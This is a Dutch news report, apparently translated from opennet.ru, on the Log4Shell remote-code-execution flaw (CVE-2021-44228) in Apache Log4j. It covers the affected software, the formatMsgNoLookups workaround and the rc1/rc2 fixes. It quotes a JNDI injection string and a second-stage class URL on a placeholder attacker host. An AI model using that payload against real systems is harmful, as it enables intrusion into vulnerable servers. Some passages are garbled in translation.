Catastrofale kwetsbaarheid in Apache Log4j die veel Java-projecten treft

In Apache Log4j, een populair raamwerk voor het organiseren van loggen in Java-applicaties, is een kritieke kwetsbaarheid geïdentificeerd die het mogelijk maakt dat willekeurige code wordt uitgevoerd wanneer een speciaal opgemaakte waarde in het “{jndi:URL}”-formaat naar het log wordt geschreven. De aanval kan worden uitgevoerd op Java-applicaties die waarden loggen die zijn ontvangen van externe bronnen, bijvoorbeeld bij het weergeven van problematische waarden in foutmeldingen.

Opgemerkt wordt dat bijna alle projecten die frameworks gebruiken zoals Apache Struts, Apache Solr, Apache Druid of Apache Flink door het probleem worden getroffen, inclusief Steam, Apple iCloud, Minecraft-clients en -servers. Er wordt verwacht dat de kwetsbaarheid zou kunnen leiden tot een golf van massale aanvallen op bedrijfsapplicaties, waarmee de geschiedenis van kritieke kwetsbaarheden in het Apache Struts-framework wordt herhaald, dat volgens een ruwe schatting door 65% van Fortune in webapplicaties wordt gebruikt. 100 bedrijven, inclusief pogingen om het netwerk te scannen op kwetsbare systemen.

Het probleem wordt verergerd door het feit dat er al een werkende exploit is gepubliceerd, maar dat er nog geen oplossingen voor de stabiele branches zijn gecompileerd. De CVE-identifier is nog niet toegewezen. De oplossing is alleen opgenomen in de testbranch log4j-2.15.0-rc1. Als tijdelijke oplossing voor het blokkeren van het beveiligingslek wordt aanbevolen om de parameter log4j2.formatMsgNoLookups in te stellen op true.

Het probleem werd veroorzaakt door het feit dat log4j de verwerking van speciale maskers “{}” ondersteunt in regels die naar het log worden uitgevoerd, waarin JNDI-query's (Java Naming and Directory Interface) konden worden uitgevoerd. De aanval komt neer op het doorgeven van een string met de vervanging “${jndi:ldap://attacker.com/a}”, bij verwerking zal log4j een LDAP-verzoek voor het pad naar de Java-klasse naar de hacker.com-server sturen . Het pad dat wordt geretourneerd door de server van de aanvaller (bijvoorbeeld http://second-stage.attacker.com/Exploit.class) wordt geladen en uitgevoerd in de context van het huidige proces, waardoor de aanvaller willekeurige code kan uitvoeren op de computer. systeem met de rechten van de huidige applicatie.

Addendum 1: De kwetsbaarheid heeft de identificatie CVE-2021-44228 gekregen.

Addendum 2: Er is een manier geïdentificeerd om de bescherming te omzeilen die is toegevoegd door release log4j-2.15.0-rc1. Er is een nieuwe update voorgesteld, log4j-2.15.0-rc2, met een completere bescherming tegen het beveiligingslek. De code benadrukt de verandering die verband houdt met de afwezigheid van een abnormale beëindiging in het geval van gebruik van een onjuist opgemaakte JNDI-URL.

Bron: opennet.ru

Voeg een reactie